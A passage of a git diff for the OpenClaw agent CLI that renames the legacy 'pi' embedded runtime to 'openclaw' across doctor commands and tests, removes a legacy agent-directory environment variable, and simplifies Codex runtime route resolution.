OpenClaw", async () => { await withTempHome(async (home) => { const storePath = path.join(home, "sessions.json"); const cfg = mockConfig(home, storePath, { models: undefined }); @@ -401,7 +401,7 @@ describe("agentCommand", () => { providers: { openai: { baseUrl: "https://api.openai.com/v1", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, models: [], }, }, @@ -485,7 +485,7 @@ describe("agentCommand", () => { await withTempHome(async (home) => { const store = path.join(home, "sessions.json"); mockConfig(home, store); - vi.mocked(runEmbeddedPiAgent).mockResolvedValue( + vi.mocked(runEmbeddedAgent).mockResolvedValue( createDefaultAgentResult({ payloads: [{ text: "json-reply", mediaUrl: "http://x.test/a.jpg" }], durationMs: 42, @@ -535,7 +535,7 @@ describe("agentCommand", () => { const store = path.join(home, "sessions.json"); mockConfig(home, store); const base = createDefaultAgentResult({ payloads: [{ text: "assistant-visible" }] }); - vi.mocked(runEmbeddedPiAgent).mockResolvedValueOnce({ + vi.mocked(runEmbeddedAgent).mockResolvedValueOnce({ ...base, meta: { ...base.meta, @@ -560,7 +560,7 @@ describe("agentCommand", () => { mockConfig(home, store); const sendMessageTelegram = vi.fn(async () => undefined); const base = createDefaultAgentResult({ payloads: [{ text: "assistant-visible" }] }); - vi.mocked(runEmbeddedPiAgent).mockResolvedValueOnce({ + vi.mocked(runEmbeddedAgent).mockResolvedValueOnce({ ...base, meta: { ...base.meta, @@ -785,7 +785,7 @@ describe("agentCommand", () => { }); }); - vi.mocked(runEmbeddedPiAgent).mockImplementationOnce(async (params) => { + vi.mocked(runEmbeddedAgent).mockImplementationOnce(async (params) => { const runId = (params as { runId?: string } | undefined)?.runId ?? "run"; const data = { text: "hello", delta: "hello" }; ( @@ -824,7 +824,7 @@ describe("agentCommand", () => { }); }); - vi.mocked(runEmbeddedPiAgent).mockImplementationOnce(async (params) => { + vi.mocked(runEmbeddedAgent).mockImplementationOnce(async (params) => { ( params as { onAgentEvent?: (evt: { stream: string; data: Record }) => void; @@ -876,7 +876,7 @@ describe("agentCommand", () => { { id: "gpt-4.1-mini", name: "GPT-4.1 Mini", provider: "openai" }, { id: "gpt-5.4", name: "GPT-5.2", provider: "openai" }, ]); - vi.mocked(runEmbeddedPiAgent) + vi.mocked(runEmbeddedAgent) .mockRejectedValueOnce(Object.assign(new Error("rate limited"), { status: 429 })) .mockResolvedValueOnce({ payloads: [{ text: "ok" }], @@ -895,7 +895,7 @@ describe("agentCommand", () => { ); const attempts = vi - .mocked(runEmbeddedPiAgent) + .mocked(runEmbeddedAgent) .mock.calls.map((call) => ({ provider: call[0]?.provider, model: call[0]?.model })); expect(attempts).toEqual([ { provider: "anthropic", model: "claude-opus-4-6" }, @@ -934,7 +934,7 @@ describe("agentCommand", () => { { id: "gpt-4.1-mini", name: "GPT-4.1 Mini", provider: "openai" }, { id: "gpt-5.4", name: "GPT-5.4", provider: "openai" }, ]); - vi.mocked(runEmbeddedPiAgent).mockRejectedValueOnce(new Error("connect ECONNREFUSED")); + vi.mocked(runEmbeddedAgent).mockRejectedValueOnce(new Error("connect ECONNREFUSED")); await expect( agentCommand( @@ -947,7 +947,7 @@ describe("agentCommand", () => { ).rejects.toThrow("connect ECONNREFUSED"); const attempts = vi - .mocked(runEmbeddedPiAgent) + .mocked(runEmbeddedAgent) .mock.calls.map((call) => ({ provider: call[0]?.provider, model: call[0]?.model })); expect(attempts).toEqual([{ provider: "ollama", model: "qwen3.5:27b" }]); }); diff --git a/src/commands/auth-choice.test.ts b/src/commands/auth-choice.test.ts index 05180784cc0..eaf2f552878 100644 --- a/src/commands/auth-choice.test.ts +++ b/src/commands/auth-choice.test.ts @@ -568,7 +568,6 @@ describe("applyAuthChoice", () => { const lifecycle = createAuthTestLifecycle([ "OPENCLAW_STATE_DIR", "OPENCLAW_AGENT_DIR", - "PI_CODING_AGENT_DIR", "ANTHROPIC_API_KEY", "OPENROUTER_API_KEY", "HF_TOKEN", @@ -588,7 +587,6 @@ describe("applyAuthChoice", () => { const agentDir = path.join(stateDir, "agent"); process.env.OPENCLAW_STATE_DIR = stateDir; process.env.OPENCLAW_AGENT_DIR = agentDir; - process.env.PI_CODING_AGENT_DIR = agentDir; } function createPrompter(overrides: Partial): WizardPrompter { return createWizardPrompter(overrides, { defaultSelect: "" }); diff --git a/src/commands/chutes-oauth.ts b/src/commands/chutes-oauth.ts index 86da7aafa14..022b693363c 100644 --- a/src/commands/chutes-oauth.ts +++ b/src/commands/chutes-oauth.ts @@ -1,6 +1,5 @@ import { randomBytes } from "node:crypto"; import { createServer } from "node:http"; -import type { OAuthCredentials } from "@earendil-works/pi-ai"; import type { ChutesOAuthAppConfig } from "../agents/chutes-oauth.js"; import { CHUTES_AUTHORIZE_ENDPOINT, @@ -9,6 +8,7 @@ import { parseOAuthCallbackInput, } from "../agents/chutes-oauth.js"; import { isLoopbackHost } from "../gateway/net.js"; +import type { OAuthCredentials } from "../llm/oauth.js"; import { normalizeOptionalString } from "../shared/string-coerce.js"; type OAuthPrompt = { diff --git a/src/commands/doctor-bootstrap-size.test.ts b/src/commands/doctor-bootstrap-size.test.ts index cdc9b5d7ac5..197babc6323 100644 --- a/src/commands/doctor-bootstrap-size.test.ts +++ b/src/commands/doctor-bootstrap-size.test.ts @@ -21,7 +21,7 @@ vi.mock("../agents/bootstrap-files.js", () => ({ resolveBootstrapContextForRun, })); -vi.mock("../agents/pi-embedded-helpers.js", () => ({ +vi.mock("../agents/embedded-agent-helpers.js", () => ({ resolveBootstrapMaxChars, resolveBootstrapTotalMaxChars, })); diff --git a/src/commands/doctor-bootstrap-size.ts b/src/commands/doctor-bootstrap-size.ts index d8361e18b2f..6391707ef86 100644 --- a/src/commands/doctor-bootstrap-size.ts +++ b/src/commands/doctor-bootstrap-size.ts @@ -7,7 +7,7 @@ import { resolveBootstrapContextForRun } from "../agents/bootstrap-files.js"; import { resolveBootstrapMaxChars, resolveBootstrapTotalMaxChars, -} from "../agents/pi-embedded-helpers.js"; +} from "../agents/embedded-agent-helpers.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { note } from "../terminal/note.js"; diff --git a/src/commands/doctor-config-flow.test.ts b/src/commands/doctor-config-flow.test.ts index 960d36306ac..37d7d9c9ebf 100644 --- a/src/commands/doctor-config-flow.test.ts +++ b/src/commands/doctor-config-flow.test.ts @@ -913,6 +913,13 @@ vi.mock("./doctor/shared/legacy-config-issues.js", async () => { vi.mock("../plugins/setup-registry.js", () => ({ resolvePluginSetupCliBackend: vi.fn(() => undefined), + resolvePluginSetupRegistry: vi.fn(() => ({ + providers: [], + cliBackends: [], + configMigrations: [], + autoEnableProbes: [], + diagnostics: [], + })), resolvePluginSetupAutoEnableReasons: vi.fn(() => []), runPluginSetupConfigMigrations: vi.fn(({ config }: { config: unknown }) => ({ config, @@ -1460,7 +1467,7 @@ describe("doctor config flow", () => { const result = await runDoctorConfigWithInput({ config: { gateway: { auth: { mode: "token", token: 123 } }, - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, }, run: loadAndMaybeMigrateDoctorConfig, }); @@ -1731,7 +1738,7 @@ describe("doctor config flow", () => { config: { bridge: { bind: "auto" }, gateway: { auth: { mode: "token", token: "ok", extra: true } }, - agents: { list: [{ id: "pi" }] }, + agents: { list: [{ id: "openclaw" }] }, session: { maintenance: { rotateBytes: "10mb", diff --git a/src/commands/doctor-config-flow.ts b/src/commands/doctor-config-flow.ts index 3c1e43c03d0..ee8daf600d0 100644 --- a/src/commands/doctor-config-flow.ts +++ b/src/commands/doctor-config-flow.ts @@ -178,15 +178,12 @@ export async function loadAndMaybeMigrateDoctorConfig(params: { })); } - const { collectBundledProviderAllowlistPolicyWarnings, collectPluginToolAllowlistWarnings } = + const { collectPluginToolAllowlistWarnings } = await import("./doctor/shared/plugin-tool-allowlist-warnings.js"); - const pluginToolAllowlistWarnings = [ - ...collectPluginToolAllowlistWarnings({ - cfg: candidate, - env: process.env, - }), - ...collectBundledProviderAllowlistPolicyWarnings({ cfg: candidate }), - ]; + const pluginToolAllowlistWarnings = collectPluginToolAllowlistWarnings({ + cfg: candidate, + env: process.env, + }); if (pluginToolAllowlistWarnings.length > 0) { note(sanitizeDoctorNote(pluginToolAllowlistWarnings.join("\n")), "Doctor warnings"); } diff --git a/src/commands/doctor-cron.test.ts b/src/commands/doctor-cron.test.ts index 325e1bc0faf..978fd271818 100644 --- a/src/commands/doctor-cron.test.ts +++ b/src/commands/doctor-cron.test.ts @@ -238,7 +238,7 @@ describe("maybeRepairLegacyCronStore", () => { await writeCronStore(storePath, [ { id: "alias-pinned", - name: "Alias pinned", + name: "Alias the native runtime", enabled: true, createdAtMs: Date.parse("2026-05-01T00:00:00.000Z"), updatedAtMs: Date.parse("2026-05-01T00:00:00.000Z"), @@ -259,7 +259,7 @@ describe("maybeRepairLegacyCronStore", () => { cron: { store: storePath }, agents: { defaults: { - model: { primary: "pi:opus", fallbacks: [] }, + model: { primary: "test:opus", fallbacks: [] }, }, }, }, diff --git a/src/commands/doctor-legacy-config.migrations.test.ts b/src/commands/doctor-legacy-config.migrations.test.ts index ac1ac07ebf5..c4db7f1c96e 100644 --- a/src/commands/doctor-legacy-config.migrations.test.ts +++ b/src/commands/doctor-legacy-config.migrations.test.ts @@ -6,6 +6,14 @@ import type { OpenClawConfig } from "../config/config.js"; import { normalizeCompatibilityConfigValues } from "./doctor-legacy-config.js"; vi.mock("../plugins/setup-registry.js", () => ({ + resolvePluginSetupCliBackend: () => undefined, + resolvePluginSetupRegistry: () => ({ + providers: [], + cliBackends: [], + configMigrations: [], + autoEnableProbes: [], + diagnostics: [], + }), runPluginSetupConfigMigrations: ({ config }: { config: OpenClawConfig }) => ({ config, changes: [], @@ -729,7 +737,7 @@ describe("normalizeCompatibilityConfigValues", () => { agentRuntime: { id: "claude-cli" }, model: "anthropic/claude-opus-4-7", models: { - "anthropic/claude-opus-4-7": { agentRuntime: { id: "pi" } }, + "anthropic/claude-opus-4-7": { agentRuntime: { id: "openclaw" } }, }, }, ], @@ -738,7 +746,7 @@ describe("normalizeCompatibilityConfigValues", () => { expect(res.config.agents?.list?.[0]?.agentRuntime).toEqual({ id: "claude-cli" }); expect(res.config.agents?.list?.[0]?.models).toEqual({ - "anthropic/claude-opus-4-7": { agentRuntime: { id: "pi" } }, + "anthropic/claude-opus-4-7": { agentRuntime: { id: "openclaw" } }, }); expect(res.changes).toStrictEqual([]); }); diff --git a/src/commands/doctor-platform-notes.ts b/src/commands/doctor-platform-notes.ts index 25ac5670a45..93818c0901d 100644 --- a/src/commands/doctor-platform-notes.ts +++ b/src/commands/doctor-platform-notes.ts @@ -235,7 +235,7 @@ export function noteStartupOptimizationHints( if (!compileCache) { lines.push( - "- NODE_COMPILE_CACHE is not set; repeated CLI runs can be slower on small hosts (Pi/VM).", + "- NODE_COMPILE_CACHE is not set; repeated CLI runs can be slower on small hosts (Raspberry Pi/VM).", ); } else if (isTmpCompileCachePath(compileCache)) { lines.push( diff --git a/src/commands/doctor-session-state-providers.test.ts b/src/commands/doctor-session-state-providers.test.ts index 7d0ef3ce6e3..50ce067edab 100644 --- a/src/commands/doctor-session-state-providers.test.ts +++ b/src/commands/doctor-session-state-providers.test.ts @@ -107,7 +107,7 @@ describe("doctor session state provider routes", () => { agents: { defaults: { model: { primary: "openai/gpt-5.5" }, - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }, }, }, @@ -153,7 +153,7 @@ describe("doctor session state provider routes", () => { [sessionKey]: { defaultProvider: "github-copilot", configuredModelRefs: ["github-copilot/gpt-5-mini"], - runtime: "pi", + runtime: "openclaw", }, }, }); @@ -222,7 +222,7 @@ describe("doctor session state provider routes", () => { [sessionKey]: { defaultProvider: "github-copilot", configuredModelRefs: ["github-copilot/gpt-5-mini"], - runtime: "pi", + runtime: "openclaw", }, }, }); @@ -260,7 +260,7 @@ describe("doctor session state provider routes", () => { [sessionKey]: { defaultProvider: "github-copilot", configuredModelRefs: ["github-copilot/gpt-5-mini", "openai-codex/gpt-5.4"], - runtime: "pi", + runtime: "openclaw", }, }, }); @@ -340,7 +340,7 @@ describe("doctor session state provider routes", () => { [sessionKey]: { defaultProvider: "openai", configuredModelRefs: ["openai/gpt-5.5"], - runtime: "pi", + runtime: "openclaw", }, }, }); @@ -419,7 +419,7 @@ describe("doctor session state provider routes", () => { [sessionKey]: { defaultProvider: "anthropic", configuredModelRefs: ["anthropic/claude-opus-4.7"], - runtime: "pi", + runtime: "openclaw", }, }, }); @@ -457,7 +457,7 @@ describe("doctor session state provider routes", () => { [sessionKey]: { defaultProvider: "openai", configuredModelRefs: ["openai/gpt-5.5"], - runtime: "pi", + runtime: "openclaw", }, }, }); diff --git a/src/commands/doctor-state-integrity.test.ts b/src/commands/doctor-state-integrity.test.ts index 8919e563bfb..61b783da73d 100644 --- a/src/commands/doctor-state-integrity.test.ts +++ b/src/commands/doctor-state-integrity.test.ts @@ -34,7 +34,6 @@ type EnvSnapshot = { OPENCLAW_STATE_DIR?: string; OPENCLAW_OAUTH_DIR?: string; OPENCLAW_AGENT_DIR?: string; - PI_CODING_AGENT_DIR?: string; }; function captureEnv(): EnvSnapshot { @@ -44,7 +43,6 @@ function captureEnv(): EnvSnapshot { OPENCLAW_STATE_DIR: process.env.OPENCLAW_STATE_DIR, OPENCLAW_OAUTH_DIR: process.env.OPENCLAW_OAUTH_DIR, OPENCLAW_AGENT_DIR: process.env.OPENCLAW_AGENT_DIR, - PI_CODING_AGENT_DIR: process.env.PI_CODING_AGENT_DIR, }; } @@ -161,7 +159,6 @@ describe("doctor state integrity oauth dir checks", () => { process.env.OPENCLAW_STATE_DIR = path.join(tempHome, ".openclaw"); delete process.env.OPENCLAW_OAUTH_DIR; delete process.env.OPENCLAW_AGENT_DIR; - delete process.env.PI_CODING_AGENT_DIR; fs.mkdirSync(process.env.OPENCLAW_STATE_DIR, { recursive: true, mode: 0o700 }); noteMock.mockClear(); }); @@ -277,7 +274,6 @@ describe("doctor state integrity oauth dir checks", () => { "agent", ); process.env.OPENCLAW_AGENT_DIR = legacyAgentDir; - process.env.PI_CODING_AGENT_DIR = legacyAgentDir; const text = await runStateIntegrityText({ agents: { diff --git a/src/commands/doctor/shared/active-tool-schema-warnings.test.ts b/src/commands/doctor/shared/active-tool-schema-warnings.test.ts index 9a0b474019e..cdb86bc5ce7 100644 --- a/src/commands/doctor/shared/active-tool-schema-warnings.test.ts +++ b/src/commands/doctor/shared/active-tool-schema-warnings.test.ts @@ -1,5 +1,5 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; -import type { createOpenClawCodingTools } from "../../../agents/pi-tools.js"; +import type { createOpenClawCodingTools } from "../../../agents/agent-tools.js"; import type { AnyAgentTool } from "../../../agents/tools/common.js"; const toolState = vi.hoisted(() => ({ @@ -9,7 +9,7 @@ const toolState = vi.hoisted(() => ({ createTools: vi.fn(), })); -vi.mock("../../../agents/pi-tools.js", () => ({ +vi.mock("../../../agents/agent-tools.js", () => ({ createOpenClawCodingTools: (options?: Parameters[0]) => { toolState.createTools(options); if (toolState.throwError) { diff --git a/src/commands/doctor/shared/active-tool-schema-warnings.ts b/src/commands/doctor/shared/active-tool-schema-warnings.ts index 39028a025ed..f07e5a9a659 100644 --- a/src/commands/doctor/shared/active-tool-schema-warnings.ts +++ b/src/commands/doctor/shared/active-tool-schema-warnings.ts @@ -4,9 +4,9 @@ import { resolveAgentDir, resolveAgentWorkspaceDir, } from "../../../agents/agent-scope.js"; +import { createOpenClawCodingTools } from "../../../agents/agent-tools.js"; import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "../../../agents/defaults.js"; import { parseModelRef } from "../../../agents/model-selection-normalize.js"; -import { createOpenClawCodingTools } from "../../../agents/pi-tools.js"; import { filterRuntimeCompatibleTools, type RuntimeToolSchemaDiagnostic, diff --git a/src/commands/doctor/shared/codex-native-assets.ts b/src/commands/doctor/shared/codex-native-assets.ts index d98712ad7c8..f3a028d0022 100644 --- a/src/commands/doctor/shared/codex-native-assets.ts +++ b/src/commands/doctor/shared/codex-native-assets.ts @@ -107,8 +107,8 @@ async function discoverPluginHits(root: string): Promise return [...hits.values()]; } -function isCodexRuntimeConfigured(cfg: OpenClawConfig, env: NodeJS.ProcessEnv): boolean { - return collectConfiguredAgentHarnessRuntimes(cfg, env).includes("codex"); +function isCodexRuntimeConfigured(cfg: OpenClawConfig, _env: NodeJS.ProcessEnv): boolean { + return collectConfiguredAgentHarnessRuntimes(cfg).includes("codex"); } function isCodexPluginConfigured(cfg: OpenClawConfig): boolean { diff --git a/src/commands/doctor/shared/codex-route-warnings.test.ts b/src/commands/doctor/shared/codex-route-warnings.test.ts index b9b84233576..86a2b4b487f 100644 --- a/src/commands/doctor/shared/codex-route-warnings.test.ts +++ b/src/commands/doctor/shared/codex-route-warnings.test.ts @@ -97,7 +97,7 @@ describe("collectCodexRouteWarnings", () => { ]); }); - it("still warns when OPENCLAW_AGENT_RUNTIME selects native Codex with a legacy model ref", () => { + it("ignores OPENCLAW_AGENT_RUNTIME when reporting legacy model refs", () => { const warnings = collectCodexRouteWarnings({ cfg: { agents: { @@ -114,7 +114,7 @@ describe("collectCodexRouteWarnings", () => { expect(warnings).toStrictEqual([ [ "- Legacy `openai-codex/*` model refs should be rewritten to `openai/*`.", - '- agents.defaults.model: openai-codex/gpt-5.5 should become openai/gpt-5.5; current runtime is "codex".', + "- agents.defaults.model: openai-codex/gpt-5.5 should become openai/gpt-5.5.", "- Run `openclaw doctor --fix`: it rewrites configured model refs and stale sessions to `openai/*`, moves Codex intent to provider/model runtime policy, and clears old whole-agent runtime pins.", ].join("\n"), ]); @@ -184,7 +184,7 @@ describe("collectCodexRouteWarnings", () => { [ "- Codex runtime is selected, but the Codex plugin is disabled.", "- agents.defaults.model.primary: gpt-5.5 resolves to openai/gpt-5.5 with Codex runtime while the Codex plugin is disabled by config.", - "- Run `openclaw doctor --fix`: it enables plugins.entries.codex, or set the affected OpenAI models to a PI runtime policy.", + "- Run `openclaw doctor --fix`: it enables plugins.entries.codex, or set the affected OpenAI models to an OpenClaw runtime policy.", ].join("\n"), ]); }); @@ -786,7 +786,7 @@ describe("collectCodexRouteWarnings", () => { providers: { openai: { baseUrl: "https://proxy.example.test/v1", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }, }, }, @@ -1360,7 +1360,7 @@ describe("collectCodexRouteWarnings", () => { id: "worker", model: "anthropic/claude-sonnet-4-6", models: { - "anthropic/claude-sonnet-4-6": { agentRuntime: { id: "pi" } }, + "anthropic/claude-sonnet-4-6": { agentRuntime: { id: "openclaw" } }, }, }, ], @@ -1588,7 +1588,7 @@ describe("collectCodexRouteWarnings", () => { agentRuntime: { id: "codex" }, }, { - id: "pi-worker", + id: "native-worker", model: "anthropic/claude-sonnet-4-6", }, ], @@ -1793,7 +1793,7 @@ describe("collectCodexRouteWarnings", () => { providers: { openai: { baseUrl: "https://api.openai.com/v1", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, models: [], }, }, @@ -1834,7 +1834,7 @@ describe("collectCodexRouteWarnings", () => { modelId: "gpt-5.4", config: result.cfg, }).runtime, - ).toBe("pi"); + ).toBe("openclaw"); }); it("repairs configured Codex model refs to canonical OpenAI refs with model-scoped Codex runtime", () => { @@ -2633,7 +2633,7 @@ describe("collectCodexRouteWarnings", () => { model: "gpt-5.5", models: { "openai/gpt-5.5": { - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }, }, }, @@ -2700,12 +2700,11 @@ describe("collectCodexRouteWarnings", () => { expect(result.cfg.plugins?.allow).toEqual(["openai", "codex"]); }); - it("treats bundled discovery compat allowlists as restrictive for the Codex harness", () => { + it("treats plugin allowlists as restrictive for the Codex harness", () => { const result = maybeRepairCodexRoutes({ cfg: { plugins: { allow: ["openai"], - bundledDiscovery: "compat", entries: { openai: { enabled: true }, }, @@ -2728,12 +2727,11 @@ describe("collectCodexRouteWarnings", () => { expect(result.cfg.plugins?.allow).toEqual(["openai", "codex"]); }); - it("adds Codex to bundled discovery compat allowlists when re-enabling Codex", () => { + it("adds Codex to plugin allowlists when re-enabling Codex", () => { const result = maybeRepairCodexRoutes({ cfg: { plugins: { allow: ["openai"], - bundledDiscovery: "compat", entries: { codex: { enabled: false }, }, @@ -2756,7 +2754,7 @@ describe("collectCodexRouteWarnings", () => { expect(result.cfg.plugins?.allow).toEqual(["openai", "codex"]); }); - it("keeps the Codex plugin disabled when OpenAI routes explicitly use the PI runtime", () => { + it("keeps the Codex plugin disabled when OpenAI routes explicitly use the OpenClaw runtime", () => { const result = maybeRepairCodexRoutes({ cfg: { plugins: { @@ -2767,7 +2765,7 @@ describe("collectCodexRouteWarnings", () => { models: { providers: { openai: { - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, models: [], }, }, @@ -2790,10 +2788,10 @@ describe("collectCodexRouteWarnings", () => { modelId: "gpt-5.5", config: result.cfg, }).runtime, - ).toBe("pi"); + ).toBe("openclaw"); }); - it("keeps the Codex plugin disabled when an auth-profiled OpenAI route explicitly uses the PI runtime", () => { + it("keeps the Codex plugin disabled when an auth-profiled OpenAI route explicitly uses the OpenClaw runtime", () => { const result = maybeRepairCodexRoutes({ cfg: { plugins: { @@ -2806,7 +2804,7 @@ describe("collectCodexRouteWarnings", () => { model: "openai/gpt-5.5@work", models: { "openai/gpt-5.5": { - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }, }, }, @@ -2909,14 +2907,14 @@ describe("collectCodexRouteWarnings", () => { expect(result.cfg.plugins?.entries?.codex?.enabled).toBe(true); }); - it("keeps repaired OpenAI refs on Codex runtime even when the OpenAI provider is otherwise PI/API-key routed", () => { + it("keeps repaired OpenAI refs on Codex runtime even when the OpenAI provider is otherwise OpenClaw/API-key routed", () => { const result = maybeRepairCodexRoutes({ cfg: { models: { providers: { openai: { baseUrl: "https://api.openai.com/v1", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, models: [], }, }, @@ -2950,7 +2948,7 @@ describe("collectCodexRouteWarnings", () => { providers: { openai: { baseUrl: "https://api.openai.com/v1", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, models: [], }, }, @@ -2980,7 +2978,7 @@ describe("collectCodexRouteWarnings", () => { }); expect(result.cfg.agents?.list?.[1]?.model).toBe("openai/gpt-5.5"); expect(result.cfg.agents?.list?.[1]?.models?.["openai/gpt-5.5"]?.agentRuntime).toEqual({ - id: "pi", + id: "openclaw", }); expect( resolveAgentHarnessPolicy({ @@ -2996,7 +2994,7 @@ describe("collectCodexRouteWarnings", () => { agentId: "worker", config: result.cfg, }).runtime, - ).toBe("pi"); + ).toBe("openclaw"); }); it("preserves explicit model-scoped runtime pins when repairing legacy model map keys", () => { @@ -3007,7 +3005,7 @@ describe("collectCodexRouteWarnings", () => { models: { "openai-codex/gpt-5.5": { alias: "legacy-codex", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }, }, }, @@ -3019,7 +3017,7 @@ describe("collectCodexRouteWarnings", () => { expect(result.cfg.agents?.defaults?.models).toEqual({ "openai/gpt-5.5": { alias: "legacy-codex", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, }, }); expect(result.changes.join("\n")).not.toContain( @@ -3031,7 +3029,7 @@ describe("collectCodexRouteWarnings", () => { modelId: "gpt-5.5", config: result.cfg, }).runtime, - ).toBe("pi"); + ).toBe("openclaw"); }); it("overwrites non-concrete model-scoped runtime pins when preserving Codex route intent", () => { @@ -3077,7 +3075,7 @@ describe("collectCodexRouteWarnings", () => { providers: { openai: { baseUrl: "https://api.openai.com/v1", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, models: [], }, }, @@ -3105,7 +3103,7 @@ describe("collectCodexRouteWarnings", () => { modelId: "gpt-5.4", config: result.cfg, }).runtime, - ).toBe("pi"); + ).toBe("openclaw"); expect(result.changes).toStrictEqual([]); expect(result.warnings).toStrictEqual([ [ @@ -3158,7 +3156,7 @@ describe("collectCodexRouteWarnings", () => { providers: { openai: { baseUrl: "https://api.openai.com/v1", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, models: [], }, }, @@ -3186,7 +3184,7 @@ describe("collectCodexRouteWarnings", () => { modelId: "gpt-5.4", config: result.cfg, }).runtime, - ).toBe("pi"); + ).toBe("openclaw"); expect(result.changes).toStrictEqual([]); expect(result.warnings).toStrictEqual([ [ @@ -3274,7 +3272,7 @@ describe("collectCodexRouteWarnings", () => { expect(store.main.agentRuntimeOverride).toBeUndefined(); }); - it("preserves canonical OpenAI sessions that are explicitly pinned to PI", () => { + it("preserves canonical OpenAI sessions that are explicitly pinned to OpenClaw", () => { const store: Record = { main: { sessionId: "s1", @@ -3283,8 +3281,8 @@ describe("collectCodexRouteWarnings", () => { model: "gpt-5.5", providerOverride: "openai", modelOverride: "gpt-5.4", - agentHarnessId: "pi", - agentRuntimeOverride: "pi", + agentHarnessId: "openclaw", + agentRuntimeOverride: "openclaw", authProfileOverride: "openai:work", }, }; @@ -3296,8 +3294,8 @@ describe("collectCodexRouteWarnings", () => { expect(result).toEqual({ changed: false, sessionKeys: [] }); expect(store.main.updatedAt).toBe(1); - expect(store.main.agentHarnessId).toBe("pi"); - expect(store.main.agentRuntimeOverride).toBe("pi"); + expect(store.main.agentHarnessId).toBe("openclaw"); + expect(store.main.agentRuntimeOverride).toBe("openclaw"); expect(store.main.authProfileOverride).toBe("openai:work"); }); diff --git a/src/commands/doctor/shared/codex-route-warnings.ts b/src/commands/doctor/shared/codex-route-warnings.ts index c469336405b..3852fa0760e 100644 --- a/src/commands/doctor/shared/codex-route-warnings.ts +++ b/src/commands/doctor/shared/codex-route-warnings.ts @@ -1,11 +1,11 @@ import fs from "node:fs"; +import { normalizeOptionalAgentRuntimeId } from "../../../agents/agent-runtime-id.js"; import { resolveConfiguredProviderFallback } from "../../../agents/configured-provider-fallback.js"; import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "../../../agents/defaults.js"; import { splitTrailingAuthProfile } from "../../../agents/model-ref-profile.js"; import { normalizeConfiguredProviderCatalogModelId } from "../../../agents/model-ref-shared.js"; import { resolveModelRuntimePolicy } from "../../../agents/model-runtime-policy.js"; import { openAIProviderUsesCodexRuntimeByDefault } from "../../../agents/openai-codex-routing.js"; -import { normalizeEmbeddedAgentRuntime } from "../../../agents/pi-embedded-runner/runtime.js"; import { normalizeProviderId } from "../../../agents/provider-id.js"; import { AGENT_MODEL_CONFIG_KEYS } from "../../../config/model-refs.js"; import { loadSessionStore, updateSessionStore } from "../../../config/sessions/store.js"; @@ -68,8 +68,7 @@ type CodexSessionRouteRepairSummary = { }; function normalizeRuntimeString(value: unknown): string | undefined { - const normalized = normalizeString(value); - return normalized ? normalizeEmbeddedAgentRuntime(normalized) : undefined; + return normalizeOptionalAgentRuntimeId(value); } function asAgentRuntimePolicyConfig(value: unknown): AgentRuntimePolicyConfig | undefined { @@ -77,6 +76,10 @@ function asAgentRuntimePolicyConfig(value: unknown): AgentRuntimePolicyConfig | return record ? { id: typeof record.id === "string" ? record.id : undefined } : undefined; } +function readLegacyDefaultsRuntime(defaults: unknown): AgentRuntimePolicyConfig | undefined { + return asAgentRuntimePolicyConfig(asMutableRecord(defaults)?.agentRuntime); +} + function isOpenAICodexModelRef(model: string | undefined): model is string { return normalizeString(model)?.startsWith("openai-codex/") === true; } @@ -98,12 +101,10 @@ function toOpenAIModelId(model: string): string | undefined { } function resolveRuntime(params: { - env?: NodeJS.ProcessEnv; agentRuntime?: AgentRuntimePolicyConfig; defaultsRuntime?: AgentRuntimePolicyConfig; }): string | undefined { return ( - normalizeRuntimeString(params.env?.OPENCLAW_AGENT_RUNTIME) ?? normalizeRuntimeString(params.agentRuntime?.id) ?? normalizeRuntimeString(params.defaultsRuntime?.id) ); @@ -578,18 +579,19 @@ function dedupeLegacyLosslessCompactionConfigs( function collectLegacyLosslessCompactionConfigs(params: { cfg: OpenClawConfig; - env?: NodeJS.ProcessEnv; ignoreLegacyAgentRuntimePins?: boolean; }): LegacyLosslessCompactionConfig[] { const defaults = params.cfg.agents?.defaults; - const defaultsRuntime = params.ignoreLegacyAgentRuntimePins ? undefined : defaults?.agentRuntime; + const defaultsRuntime = params.ignoreLegacyAgentRuntimePins + ? undefined + : readLegacyDefaultsRuntime(defaults); const defaultModelRef = readAgentPrimaryModelRef(defaults); const defaultCompaction = asMutableRecord(defaults?.compaction); const hits = collectLegacyLosslessCompactionForAgent({ cfg: params.cfg, agent: defaults, path: "agents.defaults", - currentRuntime: resolveRuntime({ env: params.env, defaultsRuntime }), + currentRuntime: resolveRuntime({ defaultsRuntime }), }); const agents = Array.isArray(params.cfg.agents?.list) ? params.cfg.agents.list : []; for (const [index, agent] of agents.entries()) { @@ -608,7 +610,6 @@ function collectLegacyLosslessCompactionConfigs(params: { path: `agents.list.${id}`, agentId: id, currentRuntime: resolveRuntime({ - env: params.env, agentRuntime: params.ignoreLegacyAgentRuntimePins ? undefined : asAgentRuntimePolicyConfig(agentRecord.agentRuntime), @@ -639,18 +640,19 @@ function dedupeUnsupportedCompactionOverrides( function collectUnsupportedCodexCompactionOverrides(params: { cfg: OpenClawConfig; - env?: NodeJS.ProcessEnv; ignoreLegacyAgentRuntimePins?: boolean; }): UnsupportedCodexCompactionOverride[] { const defaults = params.cfg.agents?.defaults; - const defaultsRuntime = params.ignoreLegacyAgentRuntimePins ? undefined : defaults?.agentRuntime; + const defaultsRuntime = params.ignoreLegacyAgentRuntimePins + ? undefined + : readLegacyDefaultsRuntime(defaults); const defaultModelRef = readAgentPrimaryModelRef(defaults); const defaultCompaction 